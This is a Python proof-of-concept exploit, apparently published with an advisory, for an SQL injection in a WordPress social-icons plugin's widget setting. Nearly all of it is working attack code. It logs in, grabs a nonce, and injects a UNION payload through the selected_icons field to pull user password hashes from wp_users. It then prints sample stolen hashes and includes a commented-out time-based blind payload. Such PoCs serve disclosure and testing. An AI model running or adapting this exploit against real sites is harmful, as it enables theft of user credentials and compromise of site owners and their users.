The plugin does not sanitize the selected_icons attribute to the cnss_widget before using it in an SQL statement, leading to a SQL injection vulnerability.
# Author : Qerogram
import requests
from bs4 import BeautifulSoup
BASE_URL = "http://localhost:8000"
id = "wordpress"
pw = "wordpress"
def login(id, pw) :
# Phase : Login (because, we need a nonce value)
sess = requests.Session()
sess.post(
BASE_URL + "/wp-login.php",
data = {
'log': id,
'pwd': pw,
'wp-submit': '%EB%A1%9C%EA%B7%B8%EC%9D%B8',
'testcookie': '1'
}
).text
return sess
def exploit(sess) :
# Phase 1 : get Nonce
res = sess.get(BASE_URL + "/wp-admin/widgets.php").text
_nonce = res[res.find('_wpnonce_widgets" value="') + 25:]
_nonce = _nonce[:_nonce.find('"')]
title = 2
# We can SQLi mode!
# Time-based Blind SQLi
# payload = "1) || sleep(1)#"
# Union Based SQLi
# This case is a expose third column. We must concat "fa fa-".
# Because, this function have a img check logic.
# We append a "fa fa-" to bypass a check logic .
payload = f'1) UNION SELECT 1,{title},concat("fa fa-",user_pass),3,4,5,6 from wp_users%23'
payload = payload.replace(" ", "+")
number_id = res[res.find('multi_number" value="') + 21:]
number_id = int(number_id[:number_id.find('"')])
# Phase 2 : Make a Widget
# SQL Query => SELECT * FROM wp_cn_social_icon WHERE image_url<>'' AND url<>'' AND `id` IN({payload}) ORDER BY sortorder
# We can escape Parenthesis. Then, trigger SQLi.
widget_payload = f"widget-cnss_widget%5B{number_id}%5D%5Btitle%5D=Follow+Usf1"
widget_payload += f"&widget-cnss_widget%5B{number_id}%5D%5Bwidth%5D=32"
widget_payload += f"&widget-cnss_widget%5B{number_id}%5D%5Bheight%5D=32"
widget_payload += f"&widget-cnss_widget%5B{number_id}%5D%5Balignment%5D=center"
widget_payload += f"&widget-cnss_widget%5B{number_id}%5D%5Bdisplay%5D=horizontal"
widget_payload += f"&widget-cnss_widget%5B{number_id}%5D%5Bmargin%5D=4"
widget_payload += f"&widget-cnss_widget%5B{number_id}%5D%5Bselected_icons%5D%5B%5D={payload}"
widget_payload += f"&widget-cnss_widget%5B{number_id}%5D%5Battr_id%5D="
widget_payload += f"&widget-cnss_widget%5B{number_id}%5D%5Battr_class%5D="
widget_payload += f"&widget-id=cnss_widget-{number_id}"
widget_payload += f"&id_base=cnss_widget"
widget_payload += f"&widget-width=250"
widget_payload += f"&widget-height=200"
widget_payload += f"&widget_number={number_id - 1}"
widget_payload += f"&multi_number={number_id}"
widget_payload += f"&add_new=multi"
widget_payload += f"&action=save-widget"
widget_payload += f"&savewidgets={_nonce}"
widget_payload += f"&sidebar=right-sidebar"
# Make a Widget
res = sess.post(
BASE_URL + "/wp-admin/admin-ajax.php",
headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
"Content-Type" : "application/x-www-form-urlencoded; charset=UTF-8"
},
data = widget_payload,
proxies = {"http" :"http://localhost:8080"}
)
# setup : widget on the Sidebar
res = sess.post(
BASE_URL + "/wp-admin/admin-ajax.php",
data = f"action=widgets-order&savewidgets={_nonce}&sidebars%5Bwp_inactive_widgets%5D=&sidebars%5Bright-sidebar%5D=widget-24_block-2%2Cwidget-25_block-3%2Cwidget-26_block-4%2Cwidget-27_block-5%2Cwidget-28_block-6%2Cwidget-1_cnss_widget-{number_id}&sidebars%5Bfooter-sidebar-one%5D=&sidebars%5Bfooter-sidebar-two%5D=&sidebars%5Bfooter-sidebar-three%5D=",
headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
"Content-Type" : "application/x-www-form-urlencoded; charset=UTF-8"
},
proxies = {"http" :"http://localhost:8080"}
)
res = sess.get(
BASE_URL
)
bs = BeautifulSoup(res.text, "lxml")
for item in bs.find_all("li", {"class": f"cn-fa-{title}"}) :
print(item.a['href'].replace("fa fa-", ""))
'''
[RESULT]
$P$BohO2pBSHdTTXiCf7/I5ZjYkaTtqNQ1
$P$Bwoef3ORLrOFtqXxZs/pN7uQ6YoP5Z/
$P$B8dtGlBiT38lv2iJ7mSuwv5/hI/mz.0
'''
sess = login(id, pw)
exploit(sess)